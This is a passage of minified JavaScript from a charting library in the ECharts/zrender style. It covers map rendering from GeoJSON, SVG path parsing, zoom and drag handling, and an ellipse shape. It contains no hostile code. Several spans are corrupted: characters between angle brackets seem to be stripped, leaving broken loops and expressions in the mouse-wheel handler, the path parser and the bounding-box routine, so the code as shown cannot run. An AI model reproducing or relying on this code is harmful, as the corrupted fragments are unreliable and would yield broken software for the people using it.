r.__ondrhoverlink(e)},this._isAlive=!0,this._selectedMode={},this._activeMapType={},this._clickable={},this._hoverable={},this._showLegendSymbol={},this._selected={},this._mapTypeMap={},this._mapDataMap={},this._nameMap={},this._specialArea={},this._refreshDelayTicket,this._mapDataRequireCounter,this._markAnimation=!1,this._hoverLinkMap={},this._roamMap={},this._scaleLimitMap={},this._mx,this._my,this._mousedown,this._justMove,this._curMapType,this.refresh(a),this.zr.on(c.EVENT.MOUSEWHEEL,this._onmousewheel),this.zr.on(c.EVENT.MOUSEDOWN,this._onmousedown),t.bind(U.EVENT.ROAMCONTROLLER,this._onroamcontroller),t.bind(U.EVENT.DATA_RANGE_HOVERLINK,this._ondrhoverlink)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Path"),o=e("zrender/shape/Circle"),r=e("zrender/shape/Rectangle"),s=e("zrender/shape/Line"),l=e("zrender/shape/Polygon"),h=e("zrender/shape/Ellipse"),m=e("zrender/shape/Image");e("../component/dataRange"),e("../component/roamController");var V=e("../layer/heatmap"),U=e("../config");U.map={zlevel:0,z:2,mapType:"china",showLegendSymbol:!0,dataRangeHoverLink:!0,hoverable:!0,clickable:!0,itemStyle:{normal:{borderColor:"rgba(0,0,0,0)",borderWidth:1,areaStyle:{color:"#ccc"},label:{show:!1,textStyle:{color:"rgb(139,69,19)"}}},emphasis:{borderColor:"rgba(0,0,0,0)",borderWidth:1,areaStyle:{color:"rgba(255,215,0,0.8)"},label:{show:!1,textStyle:{color:"rgb(100,0,0)"}}}}};var d=e("../util/ecData"),p=e("zrender/tool/util"),c=e("zrender/config"),u=e("zrender/tool/event"),y=e("../util/mapData/params").params,g=e("../util/mapData/textFixed"),b=e("../util/mapData/geoCoord");return t.prototype={type:U.CHART_TYPE_MAP,_buildShape:function(){var e=this.series;this.selectedMap={},this._activeMapType={};for(var t,i,n,a,o=this.component.legend,r={},s={},l={},h={},m=0,V=e.length;V>m;m++)if(e[m].type==U.CHART_TYPE_MAP&&(e[m]=this.reformOption(e[m]),i=e[m].mapType,s[i]=s[i]||{},s[i][m]=!0,l[i]=l[i]||e[m].mapValuePrecision,this._scaleLimitMap[i]=this._scaleLimitMap[i]||{},e[m].scaleLimit&&p.merge(this._scaleLimitMap[i],e[m].scaleLimit,!0),this._roamMap[i]=e[m].roam||this._roamMap[i],(null==this._hoverLinkMap[i]||this._hoverLinkMap[i])&&(this._hoverLinkMap[i]=e[m].dataRangeHoverLink),this._nameMap[i]=this._nameMap[i]||{},e[m].nameMap&&p.merge(this._nameMap[i],e[m].nameMap,!0),this._activeMapType[i]=!0,e[m].textFixed&&p.merge(g,e[m].textFixed,!0),e[m].geoCoord&&p.merge(b,e[m].geoCoord,!0),this._selectedMode[i]=this._selectedMode[i]||e[m].selectedMode,(null==this._hoverable[i]||this._hoverable[i])&&(this._hoverable[i]=e[m].hoverable),(null==this._clickable[i]||this._clickable[i])&&(this._clickable[i]=e[m].clickable),(null==this._showLegendSymbol[i]||this._showLegendSymbol[i])&&(this._showLegendSymbol[i]=e[m].showLegendSymbol),h[i]=h[i]||e[m].mapValueCalculation,t=e[m].name,this.selectedMap[t]=o?o.isSelected(t):!0,this.selectedMap[t])){r[i]=r[i]||{},n=e[m].data;for(var d=0,c=n.length;c>d;d++){a=this._nameChange(i,n[d].name),r[i][a]=r[i][a]||{seriesIndex:[],valueMap:{},precision:0};for(var u in n[d])"value"!=u?r[i][a][u]=n[d][u]:isNaN(n[d].value)||(null==r[i][a].value&&(r[i][a].value=0),r[i][a].precision=Math.max(this.getPrecision(+n[d].value),r[i][a].precision),r[i][a].value+=+n[d].value,r[i][a].valueMap[m]=+n[d].value);r[i][a].seriesIndex.push(m)}}this._mapDataRequireCounter=0;for(var f in r)this._mapDataRequireCounter++;this._clearSelected(),0===this._mapDataRequireCounter&&(this.clear(),this.zr&&this.zr.delShape(this.lastShapeList),this.lastShapeList=[]);for(var f in r){for(var c in r[f]){"average"==h[f]&&(r[f][c].value/=r[f][c].seriesIndex.length);var k=r[f][c].value;null!=k&&(r[f][c].value=k.toFixed(null==l[f]?r[f][c].precision:l[f])-0)}this._mapDataMap[f]=this._mapDataMap[f]||{},this._mapDataMap[f].mapData?this._mapDataCallback(f,r[f],s[f])(this._mapDataMap[f].mapData):y[f.replace(/\|.*/,"")].getGeoJson&&(this._specialArea[f]=y[f.replace(/\|.*/,"")].specialArea||this._specialArea[f],y[f.replace(/\|.*/,"")].getGeoJson(this._mapDataCallback(f,r[f],s[f])))}},_mapDataCallback:function(t,i,n){var a=this;return function(o){a._isAlive&&null!=a._activeMapType[t]&&(-1!=t.indexOf("|")&&(o=a._getSubMapData(t,o)),a._mapDataMap[t].mapData=o,o.firstChild?(a._mapDataMap[t].rate=1,a._mapDataMap[t].projection=e("../util/projection/svg")):(a._mapDataMap[t].rate=.75,a._mapDataMap[t].projection=e("../util/projection/normal")),a._buildMap(t,a._getProjectionData(t,o,n),i,n),a._buildMark(t,n),--a._mapDataRequireCounter<=0&&(a.addShapeList(),a.zr.refreshNextFrame()),a._buildHeatmap(t))}},_clearSelected:function(){for(var e in this._selected)this._activeMapType[this._mapTypeMap[e]]||(delete this._selected[e],delete this._mapTypeMap[e])},_getSubMapData:function(e,t){for(var i=e.replace(/^.*\|/,""),n=t.features,a=0,o=n.length;o>a;a++)if(n[a].properties&&n[a].properties.name==i){n=n[a],"United States of America"==i&&n.geometry.coordinates.length>1&&(n={geometry:{coordinates:n.geometry.coordinates.slice(5,6),type:n.geometry.type},id:n.id,properties:n.properties,type:n.type});break}return{type:"FeatureCollection",features:[n]}},_getProjectionData:function(e,t,i){var n,a=this._mapDataMap[e].projection,o=[],r=this._mapDataMap[e].bbox||a.getBbox(t,this._specialArea[e]);n=this._mapDataMap[e].hasRoam?this._mapDataMap[e].transform:this._getTransform(r,i,this._mapDataMap[e].rate);var s,l=this._mapDataMap[e].lastTransform||{scale:{}};n.left!=l.left||n.top!=l.top||n.scale.x!=l.scale.x||n.scale.y!=l.scale.y?(s=a.geoJson2Path(t,n,this._specialArea[e]),l=p.clone(n)):(n=this._mapDataMap[e].transform,s=this._mapDataMap[e].pathArray),this._mapDataMap[e].bbox=r,this._mapDataMap[e].transform=n,this._mapDataMap[e].lastTransform=l,this._mapDataMap[e].pathArray=s;for(var h=[n.left,n.top],m=0,V=s.length;V>m;m++)o.push(this._getSingleProvince(e,s[m],h));if(this._specialArea[e])for(var U in this._specialArea[e])o.push(this._getSpecialProjectionData(e,t,U,this._specialArea[e][U],h));if("china"==e){var d=this.geo2pos(e,b["南海诸岛"]||y["南海诸岛"].textCoord),c=n.scale.x/10.5,u=[32*c+d[0],83*c+d[1]];g["南海诸岛"]&&(u[0]+=g["南海诸岛"][0],u[1]+=g["南海诸岛"][1]),o.push({name:this._nameChange(e,"南海诸岛"),path:y["南海诸岛"].getPath(d,c),position:h,textX:u[0],textY:u[1]})}return o},_getSpecialProjectionData:function(t,i,n,a,o){i=this._getSubMapData("x|"+n,i);var r=e("../util/projection/normal"),s=r.getBbox(i),l=this.geo2pos(t,[a.left,a.top]),h=this.geo2pos(t,[a.left+a.width,a.top+a.height]),m=Math.abs(h[0]-l[0]),V=Math.abs(h[1]-l[1]),U=s.width,d=s.height,p=m/.75/U,c=V/d;p>c?(p=.75*c,m=U*p):(c=p,p=.75*c,V=d*c);var u={OffsetLeft:l[0],OffsetTop:l[1],scale:{x:p,y:c}},y=r.geoJson2Path(i,u);return this._getSingleProvince(t,y[0],o)},_getSingleProvince:function(e,t,i){var n,a=t.properties.name,o=g[a]||[0,0];if(b[a])n=this.geo2pos(e,b[a]);else if(t.cp)n=[t.cp[0]+o[0],t.cp[1]+o[1]];else{var r=this._mapDataMap[e].bbox;n=this.geo2pos(e,[r.left+r.width/2,r.top+r.height/2]),n[0]+=o[0],n[1]+=o[1]}return t.name=this._nameChange(e,a),t.position=i,t.textX=n[0],t.textY=n[1],t},_getTransform:function(e,t,i){var n,a,o,r,s,l,h,m=this.series,V=this.zr.getWidth(),U=this.zr.getHeight(),d=Math.round(.02*Math.min(V,U));for(var p in t)n=m[p].mapLocation||{},o=n.x||o,s=n.y||s,l=n.width||l,h=n.height||h;a=this.parsePercent(o,V),a=isNaN(a)?d:a,r=this.parsePercent(s,U),r=isNaN(r)?d:r,l=null==l?V-a-2*d:this.parsePercent(l,V),h=null==h?U-r-2*d:this.parsePercent(h,U);var c=e.width,u=e.height,y=l/i/c,g=h/u;if(y>g?(y=g*i,l=c*y):(g=y,y=g*i,h=u*g),isNaN(o))switch(o=o||"center",o+""){case"center":a=Math.floor((V-l)/2);break;case"right":a=V-l}if(isNaN(s))switch(s=s||"center",s+""){case"center":r=Math.floor((U-h)/2);break;case"bottom":r=U-h}return{left:a,top:r,width:l,height:h,baseScale:1,scale:{x:y,y:g}}},_buildMap:function(e,t,i,m){for(var V,c,u,y,g,b,f,k,x,_,L,W=this.series,X=this.component.legend,v=this.component.dataRange,w=0,K=t.length;K>w;w++){if(k=p.clone(t[w]),x={name:k.name,path:k.path,position:p.clone(k.position)},c=k.name,u=i[c]){g=[u],V="";for(var I=0,J=u.seriesIndex.length;J>I;I++){var C=W[u.seriesIndex[I]];g.push(C),V+=C.name+" ",X&&this._showLegendSymbol[e]&&X.hasColor(C.name)&&this.shapeList.push(new o({zlevel:C.zlevel,z:C.z+1,position:p.clone(k.position),_mapType:e,style:{x:k.textX+3+7*I,y:k.textY-10,r:3,color:X.getColor(C.name)},hoverable:!1}))}y=u.value}else{u={name:c,value:"-"},V="",g=[];for(var S in m)g.push(W[S]);y="-"}switch(this.ecTheme.map&&g.push(this.ecTheme.map),g.push(U.map),b=v&&!isNaN(y)?v.getColor(y):null,k.color=k.color||b||this.getItemStyleColor(this.deepQuery(g,"itemStyle.normal.color"),u.seriesIndex,-1,u)||this.deepQuery(g,"itemStyle.normal.areaStyle.color"),k.strokeColor=k.strokeColor||this.deepQuery(g,"itemStyle.normal.borderColor"),k.lineWidth=k.lineWidth||this.deepQuery(g,"itemStyle.normal.borderWidth"),x.color=this.getItemStyleColor(this.deepQuery(g,"itemStyle.emphasis.color"),u.seriesIndex,-1,u)||this.deepQuery(g,"itemStyle.emphasis.areaStyle.color")||k.color,x.strokeColor=this.deepQuery(g,"itemStyle.emphasis.borderColor")||k.strokeColor,x.lineWidth=this.deepQuery(g,"itemStyle.emphasis.borderWidth")||k.lineWidth,k.brushType=x.brushType=k.brushType||"both",k.lineJoin=x.lineJoin="round",k._name=x._name=c,f=this.deepQuery(g,"itemStyle.normal.label.textStyle"),L={zlevel:this.getZlevelBase(),z:this.getZBase()+1,position:p.clone(k.position),_mapType:e,_geo:this.pos2geo(e,[k.textX,k.textY]),style:{brushType:"fill",x:k.textX,y:k.textY,text:this.getLabelText(c,y,g,"normal"),_name:c,textAlign:"center",color:this.deepQuery(g,"itemStyle.normal.label.show")?this.deepQuery(g,"itemStyle.normal.label.textStyle.color"):"rgba(0,0,0,0)",textFont:this.getFont(f)}},L._style=p.clone(L.style),L.highlightStyle=p.clone(L.style),this.deepQuery(g,"itemStyle.emphasis.label.show")?(L.highlightStyle.text=this.getLabelText(c,y,g,"emphasis"),L.highlightStyle.color=this.deepQuery(g,"itemStyle.emphasis.label.textStyle.color")||L.style.color,f=this.deepQuery(g,"itemStyle.emphasis.label.textStyle")||f,L.highlightStyle.textFont=this.getFont(f)):L.highlightStyle.color="rgba(0,0,0,0)",_={zlevel:this.getZlevelBase(),z:this.getZBase(),position:p.clone(k.position),style:k,highlightStyle:x,_style:p.clone(k),_mapType:e},null!=k.scale&&(_.scale=p.clone(k.scale)),L=new n(L),_.style.shapeType){case"rectangle":_=new r(_);break;case"line":_=new s(_);break;case"circle":_=new o(_);break;case"polygon":_=new l(_);break;case"ellipse":_=new h(_);break;default:_=new a(_),_.buildPathArray&&(_.style.pathArray=_.buildPathArray(_.style.path))}(this._selectedMode[e]&&this._selected[c]&&u.selected!==!1||u.selected===!0)&&(L.style=L.highlightStyle,_.style=_.highlightStyle),L.clickable=_.clickable=this._clickable[e]&&(null==u.clickable||u.clickable),this._selectedMode[e]&&(this._selected[c]=null!=this._selected[c]?this._selected[c]:u.selected,this._mapTypeMap[c]=e,(null==u.selectable||u.selectable)&&(_.clickable=L.clickable=!0,_.onclick=L.onclick=this.shapeHandler.onclick)),this._hoverable[e]&&(null==u.hoverable||u.hoverable)?(L.hoverable=_.hoverable=!0,_.hoverConnect=L.id,L.hoverConnect=_.id):L.hoverable=_.hoverable=!1,d.pack(L,{name:V,tooltip:this.deepQuery(g,"tooltip")},0,u,0,c),this.shapeList.push(L),d.pack(_,{name:V,tooltip:this.deepQuery(g,"tooltip")},0,u,0,c),this.shapeList.push(_)}},_buildMark:function(e,t){this._seriesIndexToMapType=this._seriesIndexToMapType||{},this.markAttachStyle=this.markAttachStyle||{};var i=[this._mapDataMap[e].transform.left,this._mapDataMap[e].transform.top];"none"==e&&(i=[0,0]);for(var n in t)this._seriesIndexToMapType[n]=e,this.markAttachStyle[n]={position:i,_mapType:e},this.buildMark(n)},_buildHeatmap:function(e){for(var t=this.series,i=0,n=t.length;n>i;i++)if(t[i].heatmap){var a=t[i].heatmap.data;if(t[i].heatmap.needsTransform===!1){for(var o=[],r=0,s=a.length;s>r;++r)o.push([a[r][3],a[r][4],a[r][2]]);var l=[0,0]}else{var h=t[i].heatmap._geoData;if(void 0===h){t[i].heatmap._geoData=[];for(var r=0,s=a.length;s>r;++r)t[i].heatmap._geoData[r]=a[r];h=t[i].heatmap._geoData}for(var s=a.length,U=0;s>U;++U)a[U]=this.geo2pos(e,[h[U][0],h[U][1]]);var l=[this._mapDataMap[e].transform.left,this._mapDataMap[e].transform.top]}var d=new V(t[i].heatmap),p=d.getCanvas(a[0][3]?o:a,this.zr.getWidth(),this.zr.getHeight()),c=new m({zlevel:this.getZlevelBase(),z:this.getZBase()+1,position:l,scale:[1,1],hoverable:!1,style:{x:0,y:0,image:p,width:p.width,height:p.height}});c.type="heatmap",c._mapType=e,this.shapeList.push(c),this.zr.addShape(c)}},getMarkCoord:function(e,t){return t.geoCoord||b[t.name]?this.geo2pos(this._seriesIndexToMapType[e],t.geoCoord||b[t.name]):[0,0]},getMarkGeo:function(e){return e.geoCoord||b[e.name]},_nameChange:function(e,t){return this._nameMap[e][t]||t},getLabelText:function(e,t,i,n){var a=this.deepQuery(i,"itemStyle."+n+".label.formatter");return a?"function"==typeof a?a.call(this.myChart,e,t):"string"==typeof a?(a=a.replace("{a}","{a0}").replace("{b}","{b0}"),a=a.replace("{a0}",e).replace("{b0}",t)):void 0:e},_findMapTypeByPos:function(e,t){var i,n,a,o,r;for(var s in this._mapDataMap)if(i=this._mapDataMap[s].transform,i&&this._roamMap[s]&&this._activeMapType[s]&&(n=i.left,a=i.top,o=i.width,r=i.height,e>=n&&n+o>=e&&t>=a&&a+r>=t))return s},__onmousewheel:function(e){function t(e,t){for(var i=0;in;n++){var o=this.shapeList[n];if(o.__animating)return}var r,s,l=e.event,h=u.getX(l),m=u.getY(l),V=u.getDelta(l),d=e.mapTypeControl;d||(d={},s=this._findMapTypeByPos(h,m),s&&this._roamMap[s]&&"move"!=this._roamMap[s]&&(d[s]=!0));var p=!1;for(s in d)if(d[s]){p=!0;var c=this._mapDataMap[s].transform,y=c.left,g=c.top,b=c.width,f=c.height,k=this.pos2geo(s,[h-y,m-g]);if(V>0){if(r=1.2,null!=this._scaleLimitMap[s].max&&c.baseScale>=this._scaleLimitMap[s].max)continue}else if(r=1/1.2,null!=this._scaleLimitMap[s].min&&c.baseScale<=this._scaleLimitMap[s].min)continue;c.baseScale*=r,c.scale.x*=r,c.scale.y*=r,c.width=b*r,c.height=f*r,this._mapDataMap[s].hasRoam=!0,this._mapDataMap[s].transform=c,k=this.geo2pos(s,k),c.left-=k[0]-(h-y),c.top-=k[1]-(m-g),this._mapDataMap[s].transform=c,this.clearEffectShape(!0);for(var n=0,a=this.shapeList.length;a>n;n++){var o=this.shapeList[n];if(o._mapType==s){var x=o.type,_=o.style;switch(o.position[0]=c.left,o.position[1]=c.top,x){case"path":case"symbol":case"circle":case"rectangle":case"polygon":case"line":case"ellipse":case"heatmap":o.scale[0]*=r,o.scale[1]*=r;break;case"mark-line":i(_,r);break;case"polyline":t(_,r);break;case"shape-bundle":for(var L=0;L<_.shapeList.length;L++){var W=_.shapeList[L];"mark-line"==W.type?i(W.style,r):"polyline"==W.type&&t(W.style,r)}break;case"icon":case"image":k=this.geo2pos(s,o._geo),_.x=_._x=k[0]-_.width/2,_.y=_._y=k[1]-_.height/2;break;default:k=this.geo2pos(s,o._geo),_.x=k[0],_.y=k[1],"text"==x&&(o._style.x=o.highlightStyle.x=k[0],o._style.y=o.highlightStyle.y=k[1])}this.zr.modShape(o.id)}}}if(p){u.stop(l),this.zr.refreshNextFrame();var X=this;clearTimeout(this._refreshDelayTicket),this._refreshDelayTicket=setTimeout(function(){X&&X.shapeList&&X.animationEffect()},100),this.messageCenter.dispatch(U.EVENT.MAP_ROAM,e.event,{type:"scale"},this.myChart)}}},__onmousedown:function(e){if(!(this.shapeList.length<=0)){var t=e.target;if(!t||!t.draggable){var i=e.event,n=u.getX(i),a=u.getY(i),o=this._findMapTypeByPos(n,a);if(o&&this._roamMap[o]&&"scale"!=this._roamMap[o]){this._mousedown=!0,this._mx=n,this._my=a,this._curMapType=o,this.zr.on(c.EVENT.MOUSEUP,this._onmouseup);var r=this;setTimeout(function(){r.zr.on(c.EVENT.MOUSEMOVE,r._onmousemove)},100)}}}},__onmousemove:function(e){if(this._mousedown&&this._isAlive){var t=e.event,i=u.getX(t),n=u.getY(t),a=this._mapDataMap[this._curMapType].transform;a.hasRoam=!0,a.left-=this._mx-i,a.top-=this._my-n,this._mx=i,this._my=n,this._mapDataMap[this._curMapType].transform=a;for(var o=0,r=this.shapeList.length;r>o;o++)this.shapeList[o]._mapType==this._curMapType&&(this.shapeList[o].position[0]=a.left,this.shapeList[o].position[1]=a.top,this.zr.modShape(this.shapeList[o].id));this.messageCenter.dispatch(U.EVENT.MAP_ROAM,e.event,{type:"move"},this.myChart),this.clearEffectShape(!0),this.zr.refreshNextFrame(),this._justMove=!0,u.stop(t)}},__onmouseup:function(e){var t=e.event;this._mx=u.getX(t),this._my=u.getY(t),this._mousedown=!1;var i=this;setTimeout(function(){i._justMove&&i.animationEffect(),i._justMove=!1,i.zr.un(c.EVENT.MOUSEMOVE,i._onmousemove),i.zr.un(c.EVENT.MOUSEUP,i._onmouseup)},120)},__onroamcontroller:function(e){var t=e.event;t.zrenderX=this.zr.getWidth()/2,t.zrenderY=this.zr.getHeight()/2;var i=e.mapTypeControl,n=0,a=0,o=e.step;switch(e.roamType){case"scaleUp":return t.zrenderDelta=1,void this.__onmousewheel({event:t,mapTypeControl:i});case"scaleDown":return t.zrenderDelta=-1,void this.__onmousewheel({event:t,mapTypeControl:i});case"up":n=-o;break;case"down":n=o;break;case"left":a=-o;break;case"right":a=o}var r,s;for(s in i)this._mapDataMap[s]&&this._activeMapType[s]&&(r=this._mapDataMap[s].transform,r.hasRoam=!0,r.left-=a,r.top-=n,this._mapDataMap[s].transform=r);for(var l=0,h=this.shapeList.length;h>l;l++)s=this.shapeList[l]._mapType,i[s]&&this._activeMapType[s]&&(r=this._mapDataMap[s].transform,this.shapeList[l].position[0]=r.left,this.shapeList[l].position[1]=r.top,this.zr.modShape(this.shapeList[l].id));this.messageCenter.dispatch(U.EVENT.MAP_ROAM,e.event,{type:"move"},this.myChart),this.clearEffectShape(!0),this.zr.refreshNextFrame(),clearTimeout(this.dircetionTimer);var m=this;this.dircetionTimer=setTimeout(function(){m.animationEffect()},150)},__ondrhoverlink:function(e){for(var t,i,n=0,a=this.shapeList.length;a>n;n++)t=this.shapeList[n]._mapType,this._hoverLinkMap[t]&&this._activeMapType[t]&&(i=d.get(this.shapeList[n],"value"),null!=i&&i>=e.valueMin&&i<=e.valueMax&&this.zr.addHoverShape(this.shapeList[n]))},onclick:function(e){if(this.isClick&&e.target&&!this._justMove&&"icon"!=e.target.type){this.isClick=!1;var t=e.target,i=t.style._name,n=this.shapeList.length,a=t._mapType||"";if("single"==this._selectedMode[a])for(var o in this._selected)if(this._selected[o]&&this._mapTypeMap[o]==a){for(var r=0;n>r;r++)this.shapeList[r].style._name==o&&this.shapeList[r]._mapType==a&&(this.shapeList[r].style=this.shapeList[r]._style,this.zr.modShape(this.shapeList[r].id));o!=i&&(this._selected[o]=!1)}this._selected[i]=!this._selected[i];for(var r=0;n>r;r++)this.shapeList[r].style._name==i&&this.shapeList[r]._mapType==a&&(this.shapeList[r].style=this._selected[i]?this.shapeList[r].highlightStyle:this.shapeList[r]._style,this.zr.modShape(this.shapeList[r].id));this.messageCenter.dispatch(U.EVENT.MAP_SELECTED,e.event,{selected:this._selected,target:i},this.myChart),this.zr.refreshNextFrame();var s=this;setTimeout(function(){s.zr.trigger(c.EVENT.MOUSEMOVE,e.event)},100)}},refresh:function(e){e&&(this.option=e,this.series=e.series),this._mapDataRequireCounter>0?this.clear():this.backupShapeList(),this._buildShape(),this.zr.refreshHover()},ondataRange:function(e,t){this.component.dataRange&&(this.refresh(),t.needRefresh=!0)},pos2geo:function(e,t){return this._mapDataMap[e].transform?this._mapDataMap[e].projection.pos2geo(this._mapDataMap[e].transform,t):null},getGeoByPos:function(e,t){if(!this._mapDataMap[e].transform)return null;var i=[this._mapDataMap[e].transform.left,this._mapDataMap[e].transform.top];return t instanceof Array?(t[0]-=i[0],t[1]-=i[1]):(t.x-=i[0],t.y-=i[1]),this.pos2geo(e,t)},geo2pos:function(e,t){return this._mapDataMap[e].transform?this._mapDataMap[e].projection.geo2pos(this._mapDataMap[e].transform,t):null},getPosByGeo:function(e,t){if(!this._mapDataMap[e].transform)return null;var i=this.geo2pos(e,t);return i[0]+=this._mapDataMap[e].transform.left,i[1]+=this._mapDataMap[e].transform.top,i},getMapPosition:function(e){return this._mapDataMap[e].transform?[this._mapDataMap[e].transform.left,this._mapDataMap[e].transform.top]:null},onbeforDispose:function(){this._isAlive=!1,this.zr.un(c.EVENT.MOUSEWHEEL,this._onmousewheel),this.zr.un(c.EVENT.MOUSEDOWN,this._onmousedown),this.messageCenter.unbind(U.EVENT.ROAMCONTROLLER,this._onroamcontroller),this.messageCenter.unbind(U.EVENT.DATA_RANGE_HOVERLINK,this._ondrhoverlink)}},p.inherits(t,i),e("../chart").define("map",t),t}),i("zrender/shape/Path",["require","./Base","./util/PathProxy","../tool/util"],function(e){var t=e("./Base"),i=e("./util/PathProxy"),n=i.PathSegment,a=function(e){return Math.sqrt(e[0]*e[0]+e[1]*e[1])},o=function(e,t){return(e[0]*t[0]+e[1]*t[1])/(a(e)*a(t))},r=function(e,t){return(e[0]*t[1]0&&""===d[0]&&d.shift();for(var p=0;p0&&!isNaN(d[0]);){var c,u,y,g,b,f,k,x,_=null,L=[],W=h,X=m;switch(U){case"l":h+=d.shift(),m+=d.shift(),_="L",L.push(h,m);break;case"L":h=d.shift(),m=d.shift(),L.push(h,m);break;case"m":h+=d.shift(),m+=d.shift(),_="M",L.push(h,m),U="l";break;case"M":h=d.shift(),m=d.shift(),_="M",L.push(h,m),U="L";break;case"h":h+=d.shift(),_="L",L.push(h,m);break;case"H":h=d.shift(),_="L",L.push(h,m);break;case"v":m+=d.shift(),_="L",L.push(h,m);break;case"V":m=d.shift(),_="L",L.push(h,m);break;case"C":L.push(d.shift(),d.shift(),d.shift(),d.shift()),h=d.shift(),m=d.shift(),L.push(h,m);break;case"c":L.push(h+d.shift(),m+d.shift(),h+d.shift(),m+d.shift()),h+=d.shift(),m+=d.shift(),_="C",L.push(h,m);break;case"S":c=h,u=m,y=l[l.length-1],"C"===y.command&&(c=h+(h-y.points[2]),u=m+(m-y.points[3])),L.push(c,u,d.shift(),d.shift()),h=d.shift(),m=d.shift(),_="C",L.push(h,m);break;case"s":c=h,u=m,y=l[l.length-1],"C"===y.command&&(c=h+(h-y.points[2]),u=m+(m-y.points[3])),L.push(c,u,h+d.shift(),m+d.shift()),h+=d.shift(),m+=d.shift(),_="C",L.push(h,m);break;case"Q":L.push(d.shift(),d.shift()),h=d.shift(),m=d.shift(),L.push(h,m);break;case"q":L.push(h+d.shift(),m+d.shift()),h+=d.shift(),m+=d.shift(),_="Q",L.push(h,m);break;case"T":c=h,u=m,y=l[l.length-1],"Q"===y.command&&(c=h+(h-y.points[0]),u=m+(m-y.points[1])),h=d.shift(),m=d.shift(),_="Q",L.push(c,u,h,m);break;case"t":c=h,u=m,y=l[l.length-1],"Q"===y.command&&(c=h+(h-y.points[0]),u=m+(m-y.points[1])),h+=d.shift(),m+=d.shift(),_="Q",L.push(c,u,h,m);break;case"A":g=d.shift(),b=d.shift(),f=d.shift(),k=d.shift(),x=d.shift(),W=h,X=m,h=d.shift(),m=d.shift(),_="A",L=this._convertPoint(W,X,h,m,k,x,g,b,f);break;case"a":g=d.shift(),b=d.shift(),f=d.shift(),k=d.shift(),x=d.shift(),W=h,X=m,h+=d.shift(),m+=d.shift(),_="A",L=this._convertPoint(W,X,h,m,k,x,g,b,f)}for(var v=0,w=L.length;w>v;v+=2)L[v]+=t,L[v+1]+=i;l.push(new n(_||U,L))}("z"===U||"Z"===U)&&l.push(new n("z",[]))}return l},_convertPoint:function(e,t,i,n,a,s,l,h,m){var V=m*(Math.PI/180),U=Math.cos(V)*(e-i)/2+Math.sin(V)*(t-n)/2,d=-1*Math.sin(V)*(e-i)/2+Math.cos(V)*(t-n)/2,p=U*U/(l*l)+d*d/(h*h);p>1&&(l*=Math.sqrt(p),h*=Math.sqrt(p));var c=Math.sqrt((l*l*h*h-l*l*d*d-h*h*U*U)/(l*l*d*d+h*h*U*U));a===s&&(c*=-1),isNaN(c)&&(c=0);var u=c*l*d/h,y=c*-h*U/l,g=(e+i)/2+Math.cos(V)*u-Math.sin(V)*y,b=(t+n)/2+Math.sin(V)*u+Math.cos(V)*y,f=r([1,0],[(U-u)/l,(d-y)/h]),k=[(U-u)/l,(d-y)/h],x=[(-1*U-u)/l,(-1*d-y)/h],_=r(k,x);return o(k,x)<=-1&&(_=Math.PI),o(k,x)>=1&&(_=0),0===s&&_>0&&(_-=2*Math.PI),1===s&&0>_&&(_+=2*Math.PI),[g,b,l,h,f,_,V,s]},buildPath:function(e,t){var i=t.path,n=t.x||0,a=t.y||0;t.pathArray=t.pathArray||this.buildPathArray(i,n,a);for(var o=t.pathArray,r=t.pointList=[],s=[],l=0,h=o.length;h>l;l++){"M"==o[l].command.toUpperCase()&&(s.length>0&&r.push(s),s=[]);for(var m=o[l].points,V=0,U=m.length;U>V;V+=2)s.push([m[V],m[V+1]])}s.length>0&&r.push(s);for(var l=0,h=o.length;h>l;l++){var d=o[l].command,m=o[l].points;switch(d){case"L":e.lineTo(m[0],m[1]);break;case"M":e.moveTo(m[0],m[1]);break;case"C":e.bezierCurveTo(m[0],m[1],m[2],m[3],m[4],m[5]);break;case"Q":e.quadraticCurveTo(m[0],m[1],m[2],m[3]);break;case"A":var p=m[0],c=m[1],u=m[2],y=m[3],g=m[4],b=m[5],f=m[6],k=m[7],x=u>y?u:y,_=u>y?1:u/y,L=u>y?y/u:1;e.translate(p,c),e.rotate(f),e.scale(_,L),e.arc(0,0,x,g,g+b,1-k),e.scale(1/_,1/L),e.rotate(-f),e.translate(-p,-c);break;case"z":e.closePath()}}},getRect:function(e){if(e.__rect)return e.__rect;var t;t="stroke"==e.brushType||"fill"==e.brushType?e.lineWidth||1:0;for(var i=Number.MAX_VALUE,n=Number.MIN_VALUE,a=Number.MAX_VALUE,o=Number.MIN_VALUE,r=e.x||0,s=e.y||0,l=e.pathArray||this.buildPathArray(e.path),h=0;hn&&(n=m[V])):(m[V]+so&&(o=m[V]));var U;return U=i===Number.MAX_VALUE||n===Number.MIN_VALUE||a===Number.MAX_VALUE||o===Number.MIN_VALUE?{x:0,y:0,width:0,height:0}:{x:Math.round(i-t/2),y:Math.round(a-t/2),width:n-i+t,height:o-a+t},e.__rect=U,U}},e("../tool/util").inherits(s,t),s}),i("zrender/shape/Ellipse",["require","./Base","../tool/util"],function(e){var t=e("./Base"),i=function(e){t.call(this,e)};return i.prototype={type:"ellipse",buildPath:function(e,t){var i=.5522848,n=t.x,a=t.y,o=t.a,r=t.b,s=o*i,l=r*i;e.moveTo(n-o,a),e.bezierCurveTo(n-o,a-l,n-s,a-r,n,a-r),e.bezierCurveTo(n+s,a-r,n+o,a-l,n+o,a),e.bezierCurveTo(n+o,a+l,n+s,a+r,n,a+r),e.bezierCurveTo(n-s,a+r,n-o,a+l,n-o,a),e.closePath()},getRect:function(e){if(e.__rect)return e.__rect;var t;return t="stroke"==e.brushType||"fill"==e.brushType?e.lineWidth||1:0,e.__rect={x:Math.round(e.x-e.a-t/2), +y:Math.round(e.y-e.b-t/2),width:2*e.a+t,height:2*e.b+t},e.__rect}},e("../tool/util").inherits(i,t),i}),i("echarts/component/roamController",["require","./base","zrender/shape/Rectangle","zrender/shape/Sector","zrender/shape/Circle","../config","zrender/tool/util","zrender/tool/color","zrender/tool/event","../component"],function(e){function t(e,t,n,a,o){if(this.rcOption={},a.roamController&&a.roamController.show){if(!a.roamController.mapTypeControl)return void console.error("option.roamController.mapTypeControl has not been defined.");i.call(this,e,t,n,a,o),this.rcOption=a.roamController;var r=this;this._drictionMouseDown=function(e){return r.__drictionMouseDown(e)},this._drictionMouseUp=function(e){return r.__drictionMouseUp(e)},this._drictionMouseMove=function(e){return r.__drictionMouseMove(e)},this._drictionMouseOut=function(e){return r.__drictionMouseOut(e)},this._scaleHandler=function(e){return r.__scaleHandler(e)},this.refresh(a)}}var 